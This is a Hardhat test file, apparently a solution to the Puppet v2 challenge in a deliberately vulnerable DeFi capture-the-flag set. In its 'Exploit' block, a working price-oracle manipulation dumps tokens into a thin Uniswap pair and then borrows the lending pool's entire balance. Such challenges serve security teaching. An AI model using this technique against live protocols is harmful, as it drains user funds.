generated from PaulRBerg/hardhat-template
-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathpuppet-v2.challenge.ts
107 lines (86 loc) · 4.53 KB
/
puppet-v2.challenge.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import { BigNumber } from "ethers";
const pairJson = require("@uniswap/v2-core/build/UniswapV2Pair.json");
const factoryJson = require("@uniswap/v2-core/build/UniswapV2Factory.json");
const routerJson = require("@uniswap/v2-periphery/build/UniswapV2Router02.json");
const { ethers } = require("hardhat");
const { expect } = require("chai");
describe("[Challenge] Puppet v2", function () {
let deployer, attacker;
// Uniswap v2 exchange will start with 100 tokens and 10 WETH in liquidity
const UNISWAP_INITIAL_TOKEN_RESERVE = ethers.utils.parseEther("100");
const UNISWAP_INITIAL_WETH_RESERVE = ethers.utils.parseEther("10");
const ATTACKER_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("10000");
const POOL_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("1000000");
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker] = await ethers.getSigners();
await ethers.provider.send("hardhat_setBalance", [
attacker.address,
"0x1158e460913d00000", // 20 ETH
]);
expect(await ethers.provider.getBalance(attacker.address)).to.eq(ethers.utils.parseEther("20"));
const UniswapFactoryFactory = new ethers.ContractFactory(factoryJson.abi, factoryJson.bytecode, deployer);
const UniswapRouterFactory = new ethers.ContractFactory(routerJson.abi, routerJson.bytecode, deployer);
const UniswapPairFactory = new ethers.ContractFactory(pairJson.abi, pairJson.bytecode, deployer);
// Deploy tokens to be traded
this.token = await (await ethers.getContractFactory("DamnValuableToken", deployer)).deploy();
this.weth = await (await ethers.getContractFactory("WETH9", deployer)).deploy();
// Deploy Uniswap Factory and Router
this.uniswapFactory = await UniswapFactoryFactory.deploy(ethers.constants.AddressZero);
this.uniswapRouter = await UniswapRouterFactory.deploy(this.uniswapFactory.address, this.weth.address);
// Create Uniswap pair against WETH and add liquidity
await this.token.approve(this.uniswapRouter.address, UNISWAP_INITIAL_TOKEN_RESERVE);
await this.uniswapRouter.addLiquidityETH(
this.token.address,
UNISWAP_INITIAL_TOKEN_RESERVE, // amountTokenDesired
0, // amountTokenMin
0, // amountETHMin
deployer.address, // to
(await ethers.provider.getBlock("latest")).timestamp * 2, // deadline
{ value: UNISWAP_INITIAL_WETH_RESERVE },
);
this.uniswapExchange = await UniswapPairFactory.attach(
await this.uniswapFactory.getPair(this.token.address, this.weth.address),
);
expect(await this.uniswapExchange.balanceOf(deployer.address)).to.be.gt("0");
// Deploy the lending pool
this.lendingPool = await (
await ethers.getContractFactory("PuppetV2Pool", deployer)
).deploy(this.weth.address, this.token.address, this.uniswapExchange.address, this.uniswapFactory.address);
// Setup initial token balances of pool and attacker account
await this.token.transfer(attacker.address, ATTACKER_INITIAL_TOKEN_BALANCE);
await this.token.transfer(this.lendingPool.address, POOL_INITIAL_TOKEN_BALANCE);
// Ensure correct setup of pool.
expect(await this.lendingPool.calculateDepositOfWETHRequired(ethers.utils.parseEther("1"))).to.be.eq(
ethers.utils.parseEther("0.3"),
);
expect(await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE)).to.be.eq(
ethers.utils.parseEther("300000"),
);
});
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.connect(attacker).approve(this.uniswapRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE);
const deadline = (await ethers.provider.getBlock("latest")).timestamp * 2;
await this.uniswapRouter
.connect(attacker)
.swapExactTokensForETH(
ATTACKER_INITIAL_TOKEN_BALANCE,
0,
[this.token.address, this.weth.address],
attacker.address,
deadline,
{ gasLimit: 1e6 },
);
const tokens = await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
await this.weth.connect(attacker).deposit({ value: tokens });
await this.weth.connect(attacker).approve(this.lendingPool.address, tokens);
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE);
});
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker has taken all tokens from the pool
expect(await this.token.balanceOf(this.lendingPool.address)).to.be.eq("0");
expect(await this.token.balanceOf(attacker.address)).to.be.gte(POOL_INITIAL_TOKEN_BALANCE);
});
});